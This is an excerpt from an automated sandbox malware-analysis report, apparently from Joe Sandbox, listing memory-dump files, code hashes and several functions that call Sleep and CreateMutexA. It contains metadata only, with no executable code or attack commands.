Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bce07554344d71786a3dba5f8da4e51dae57f1a37f720a08c572fcb3d24e30d8
Instruction ID: 6f9dfbf4b445109d78860f53e0263bf675eb04b2e8c78e8b2f5948413b4d0340
Opcode Fuzzy Hash: bce07554344d71786a3dba5f8da4e51dae57f1a37f720a08c572fcb3d24e30d8
Instruction Fuzzy Hash: E23168317802409BEB0CAB78CC8DB6DB7E2EFC6310F248298E425AB3D5C7754B809752

Function 00B4A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f5530ca39356e7f3579b0011b23268f3b62bfd4ac684a60a16aafe8cc2103038
Instruction ID: 59719b0120f83e2f1b5e68015e77888c5a39098bf7094fb0d237108d21776293
Opcode Fuzzy Hash: f5530ca39356e7f3579b0011b23268f3b62bfd4ac684a60a16aafe8cc2103038
Instruction Fuzzy Hash: 27317B317841408BEB0CEB78CDC9B6DB7E2EFD6314F248298E415AB2D1CB358B819712

Function 00B4A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 320a253120b998a5debd17637e9ab197a11bad2e62cd881f12b4f4cec81585b9
Instruction ID: e310bebdd2e4d7dd09f20bb98ecc5ae5ec126eca5875ae4fdc3faef7c38d090c
Opcode Fuzzy Hash: 320a253120b998a5debd17637e9ab197a11bad2e62cd881f12b4f4cec81585b9
Instruction Fuzzy Hash: 2F3148717842409BEB1CDB78DCC9B6DB7F2DF86310F248298E425A72D1C7359B819752

Function 00B49ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c5307e1430a134e1d496d5c94f229d0d2ee83dc81fedd7e79fbce9fa42ea6d9b
Instruction ID: 4d818741631c0b577cc5af8e65ea4d22076ff090deb251670605a3300ccebb9e
Opcode Fuzzy Hash: c5307e1430a134e1d496d5c94f229d0d2ee83dc81fedd7e79fbce9fa42ea6d9b
Instruction Fuzzy Hash: 8F2137317442409BEB1C9B68DC89B2DB7E2EFC2310F248299E818D72E5CB755A819752

Function 00B4A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
